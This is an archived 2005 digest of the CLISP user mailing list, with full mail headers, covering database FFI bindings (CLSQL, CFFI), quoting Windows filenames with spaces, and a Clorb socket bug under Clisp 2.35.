Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] clisp and databases Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 03:00:11 2005 X-Original-Date: Thu, 03 Nov 2005 13:00:48 +0200 Hi! Excuse me bad english. I'm interested clisp with interface to different databases. I wrote simple ffi interface to sqlite and now write interface to ODBC (I spying in odbc.zip from Andreas Thiele) But... May be it is senseless work? May be better adapt CLSQL to CLISP? (unified interface has pluss and minuses) If to adapt CLSQL, as it is better: to use uffi.lisp from Pascal Bourguignon or Mini-UFFI from Joerg Hoehle? (both not work with clsql-3.3.3 / win2k "inbox") Thanks. -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Thu Nov 03 03:31:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXdJb-0006V1-Vt for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 03:31:31 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXdJY-0002Ul-Fg for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 03:31:32 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7BEC6585D3; Thu, 3 Nov 2005 12:31:14 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 81AA6585C8; Thu, 3 Nov 2005 12:31:11 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3210E886C; Thu, 3 Nov 2005 12:31:10 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17257.62717.985532.768355@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp and databases In-Reply-To: <4369EDE0.10300@jenty.by> References: <4369EDE0.10300@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 03:35:46 2005 X-Original-Date: Thu, 3 Nov 2005 12:31:09 +0100 Yaroslav Kavenchuk writes: > Hi! > > Excuse me bad english. > > I'm interested clisp with interface to different databases. > I wrote simple ffi interface to sqlite and now write interface to ODBC > (I spying in odbc.zip from Andreas Thiele) > > But... May be it is senseless work? May be better adapt CLSQL to CLISP? > (unified interface has pluss and minuses) > > If to adapt CLSQL, as it is better: to use uffi.lisp from Pascal > Bourguignon or Mini-UFFI from Joerg Hoehle? (both not work with > clsql-3.3.3 / win2k "inbox") There's a new unified FFI: CFFI, for which there's also a UFFI compatibility layer. It would be better to use that. http://www.cliki.net/CFFI -- __Pascal Bourguignon__ http://www.informatimago.com/ The rule for today: Touch my tail, I shred your hand. New rule tomorrow. From kavenchuk@jenty.by Thu Nov 03 04:20:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXe4m-0000F9-JG for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 04:20:16 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXe4l-0006sL-24 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 04:20:16 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK71J6; Thu, 3 Nov 2005 14:21:02 +0200 Message-ID: <436A00C2.9020003@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp and databases References: <17257.62717.985532.768355@thalassa.informatimago.com> In-Reply-To: <17257.62717.985532.768355@thalassa.informatimago.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 04:21:59 2005 X-Original-Date: Thu, 03 Nov 2005 14:21:22 +0200 Pascal Bourguignon wrote: > There's a new unified FFI: CFFI, for which there's also a UFFI > compatibility layer. It would be better to use that. > http://www.cliki.net/CFFI > Thanks! But clsql does not work with cffi too... -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Nov 03 06:45:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXgLi-0000b9-Ub for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 06:45:54 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXgLd-0004DG-2c for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 06:45:55 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK715M; Thu, 3 Nov 2005 16:46:24 +0200 Message-ID: <436A22D5.3000803@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp and databases References: <436A00C2.9020003@jenty.by> In-Reply-To: <436A00C2.9020003@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 06:49:57 2005 X-Original-Date: Thu, 03 Nov 2005 16:46:45 +0200 > Pascal Bourguignon wrote: > > >>There's a new unified FFI: CFFI, for which there's also a UFFI >>compatibility layer. It would be better to use that. >>http://www.cliki.net/CFFI >> > > > Thanks! > > But clsql does not work with cffi too... > Wow! Some hooks - and all works!!!!! Many thanks! I'm happy :) -- WBR, Yaroslav Kavenchuk. From astebakov@yahoo.com Thu Nov 03 07:11:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXgk5-0001jX-V4 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:11:05 -0800 Received: from web52815.mail.yahoo.com ([206.190.49.4]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EXgk4-0002nh-CR for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:11:05 -0800 Received: (qmail 25930 invoked by uid 60001); 3 Nov 2005 15:10:58 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=lg3CbxYAwW69mDAkdAO8uvH6+AJQwA+GqmgB7H3QGZmkA4U5k3bxzXGXsGMifSobhnqMOQLS681gB/TLHQGpg/FkYE10fJsb/FpXeNBw1DDn6zi8dlxp0LLf16kuW1wPfV19GCAGVVCLn+RsypqoqS+FyLQ4ifIEpkVSIPJgS1Q= ; Message-ID: <20051103151058.25928.qmail@web52815.mail.yahoo.com> Received: from [209.50.91.70] by web52815.mail.yahoo.com via HTTP; Thu, 03 Nov 2005 07:10:57 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Passing a filename with blank spaces and reading *args* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 07:15:45 2005 X-Original-Date: Thu, 3 Nov 2005 07:10:57 -0800 (PST) Hi I was trying to write a script that takes a pathname as a parameter of a command line. No matter how I tried to treat is as a single entity, the pathname gets broken into separate atoms because there are blanks in it. How can I pass the long filename as a unit? (I use clisp 2.35 on windows). Thanks in advance, Andrew __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com From lisp-clisp-list@m.gmane.org Thu Nov 03 07:17:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXgpx-00025v-6h for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:17:09 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EXgpv-0004ck-A7 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:17:09 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EXgkf-0000TI-6d for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 16:11:41 +0100 Received: from ppp85-140-64-112.pppoe.mtu-net.ru ([85.140.64.112]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 03 Nov 2005 16:11:41 +0100 Received: from yavannadil by ppp85-140-64-112.pppoe.mtu-net.ru with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 03 Nov 2005 16:11:41 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dmitri Hrapof Lines: 83 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 85.140.64.112 (Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 07:20:13 2005 X-Original-Date: Thu, 3 Nov 2005 14:52:37 +0000 (UTC) Guten Tag! (this message was also posted to Clorb author) I use Clorb in my dictionary server, and on my iMac (MacOS X 10.3.9) Clorb versions 0.4-0.6 work with OpenMCL, SBCL and Clisp 2.33.2. However, they do not work with Clisp 2.35. It seems to me the problem is with EXT:SOCKET-STATUS and friends like EXT:READ-BYTE-WILL-HANG-P or EXT:READ-BYTE-LOOKAHEAD. Synopsis: 1. with the Clorb code unchanged at all, call (hello-client :file "/tmp/hello.ior") never finishes. First portion of server answer is read, GET-RESPONSE-0 is called, GET-RESPONSE-REPLY is installed as connection read callback, but it gets never called, instead EXT:SOCKET-STATUS returns NIL at 60 sec. intervals. 2. with the following kludge in ORB-WORK (see #+clisp line) (defun orb-work (orb run-queue poll) (when run-queue (orb-run-queue orb)) (let ((event-processed nil)) (loop for event = (io-get-event) while event do (setq event-processed t) (let* ((desc (second event)) (conn (io-descriptor-connection desc))) (mess 1 "io-event: ~S ~A ~A" (car event) (io-descriptor-stream desc) conn) (case (car event) (:read-ready (when conn (connection-read-ready conn)) #+clisp(unless (ext:read-byte-will-hang-p (io-descriptor-stream desc)) (io-poll-desc desc :input))) (:write-ready ;; the rest of orb-work GET-RESPONSE-REPLY is called and server answer is correctly parsed, but the top-level call still doesn't return, as it blocks in EXT:READ-BYTE-WILL-HANG-P 3. with the following awful kludge (see "hrap" lines) (defun orb-work (orb run-queue poll) (when run-queue (orb-run-queue orb)) (let ((event-processed nil) (hrap t) ;hrap ) (loop for event = (io-get-event) while event do (setq event-processed t) (let* ((desc (second event)) (conn (io-descriptor-connection desc))) (mess 1 "io-event: ~S ~A ~A" (car event) (io-descriptor-stream desc) conn) (case (car event) (:read-ready (when conn (connection-read-ready conn)) (when hrap (setf hrap nil) (io-poll-desc desc :input)) ;hrap ) (:write-ready ;; the rest of orb-work CORBA call at last succeeds (returns "Hello World from OpenMCL"), but of course it won't work when server's anwer arrives in multiple pieces. Additional notes: 1. with CVS version of Clisp I wasn't able to even send request to server. 2. Clorb + Clisp 2.35 didn't work for me on FreeBSD either, if I remember correctly 3. IMHO now it's possible to remove many conditionals from Clorb as Clisp support MOP; I'll try to do it after this issue is resolved Thanks for your help, Dmitri From sds@gnu.org Thu Nov 03 07:33:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXh5l-0002sh-Jb for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:33:29 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXh5i-0000cF-DU for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:33:29 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA3FXAhc001849; Thu, 3 Nov 2005 10:33:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051103151058.25928.qmail@web52815.mail.yahoo.com> (Andrew Stebakov's message of "Thu, 3 Nov 2005 07:10:57 -0800 (PST)") References: <20051103151058.25928.qmail@web52815.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Passing a filename with blank spaces and reading *args* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 07:36:28 2005 X-Original-Date: Thu, 03 Nov 2005 10:32:11 -0500 > * Andrew Stebakov [2005-11-03 07:10:57 -0800]: > > I was trying to write a script that takes a pathname > as a parameter of a command line. No matter how I > tried to treat is as a single entity, the pathname > gets broken into separate atoms because there are > blanks in it. > How can I pass the long filename as a unit? > > (I use clisp 2.35 on windows). this is a windows, not a clisp problem. you need to quote the blanks so that the windows shell will not split on them. use "" and \\. ask a windows guru (in a windows newsgoup) -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From Devon@Jovi.Net Thu Nov 03 07:34:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXh6u-0002wf-09 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:34:40 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EXh6s-0000uV-LI for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:34:40 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jA3FY5Mw026954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 10:34:05 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jA3FY54w026951; Thu, 3 Nov 2005 10:34:05 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511031534.jA3FY54w026951@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Andrew Stebakov CC: clisp-list@lists.sourceforge.net In-reply-to: <20051103151058.25928.qmail@web52815.mail.yahoo.com> (message from Andrew Stebakov on Thu, 3 Nov 2005 07:10:57 -0800 (PST)) Subject: Re: [clisp-list] Passing a filename with blank spaces and reading *args* References: <20051103151058.25928.qmail@web52815.mail.yahoo.com> X-Spam-Status: No, score=-4.2 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 03 Nov 2005 10:34:21 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 07:39:47 2005 X-Original-Date: Thu, 3 Nov 2005 10:34:05 -0500 (EST) From: Andrew Stebakov Date: Thu, 3 Nov 2005 07:10:57 -0800 (PST) Hi I was trying to write a script that takes a pathname as a parameter of a command line. No matter how I tried to treat is as a single entity, the pathname gets broken into separate atoms because there are blanks in it. How can I pass the long filename as a unit? (I use clisp 2.35 on windows). That's a command line question, not a lisp question. In a unix style shell you'd use one of $ script "My File" $ script 'My File' $ script My\ File In MS-DOS style COMMAND.COM you'd use C:\> script "My File" Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Thu Nov 03 07:39:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXhC3-0003IS-Q6 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:39:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXhC2-0002Y6-8v for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:39:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA3FdkZa002045; Thu, 3 Nov 2005 10:39:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dmitri Hrapof Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dmitri Hrapof's message of "Thu, 3 Nov 2005 14:52:37 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dmitri Hrapof Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 07:45:57 2005 X-Original-Date: Thu, 03 Nov 2005 10:38:47 -0500 > * Dmitri Hrapof [2005-11-03 14:52:37 +0000]: > > I use Clorb in my dictionary server, and on my iMac (MacOS X 10.3.9) > Clorb versions 0.4-0.6 work with OpenMCL, SBCL and Clisp 2.33.2. > However, they do not work with Clisp 2.35. > It seems to me the problem is with EXT:SOCKET-STATUS and friends > like EXT:READ-BYTE-WILL-HANG-P or EXT:READ-BYTE-LOOKAHEAD. I do not use clorb, but if you could isolate the problem and produce a stand-alone test case (preferable working with 2.33.2 but not with the CVS head), I would look at it. > 1. with CVS version of Clisp I wasn't able to even send request to > server. same here - an isolated test case that does not require me to download and install clorb would be nice. > 2. Clorb + Clisp 2.35 didn't work for me on FreeBSD either, if I > remember correctly both 2.35 and cvs head work on FreeBSD, so, again, I need a test case. -- Sam Steingold (http://www.podval.org/~sds) running w2k A slave dreams not of Freedom, but of owning his own slaves. From kavenchuk@jenty.by Thu Nov 03 07:43:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXhFf-0003cc-3O for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:43:43 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXhFd-0003a8-L0 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 07:43:43 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK7104; Thu, 3 Nov 2005 17:44:47 +0200 Message-ID: <436A3080.4080804@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Andrew Stebakov CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Passing a filename with blank spaces and reading *ar gs* References: <20051103151058.25928.qmail@web52815.mail.yahoo.com> In-Reply-To: <20051103151058.25928.qmail@web52815.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 07:49:23 2005 X-Original-Date: Thu, 03 Nov 2005 17:45:04 +0200 Andrew Stebakov wrote: > Hi > > I was trying to write a script that takes a pathname > as a parameter of a command line. No matter how I > tried to treat is as a single entity, the pathname > gets broken into separate atoms because there are > blanks in it. > How can I pass the long filename as a unit? > oops $ cat prn-args.lisp (print *args*) (print (probe-file (car *args*))) $ clisp prn-args "C:\Documents and Settings\Kavenchuk_Yaroslav\.clisprc.lisp" ("C:\\Documents and Settings\\Kavenchuk_Yaroslav\\.clisprc.lisp") #P"C:\\Documents and Settings\\Kavenchuk_Yaroslav\\.clisprc.lisp" This? -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Thu Nov 03 09:24:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXiov-0001Ib-PK for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 09:24:13 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EXiov-00046u-1J for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 09:24:13 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EXij8-000681-KT for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 18:18:14 +0100 Received: from ppp85-140-64-112.pppoe.mtu-net.ru ([85.140.64.112]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 03 Nov 2005 18:18:14 +0100 Received: from yavannadil by ppp85-140-64-112.pppoe.mtu-net.ru with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 03 Nov 2005 18:18:14 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dmitri Hrapof Lines: 32 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 85.140.64.112 (Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for 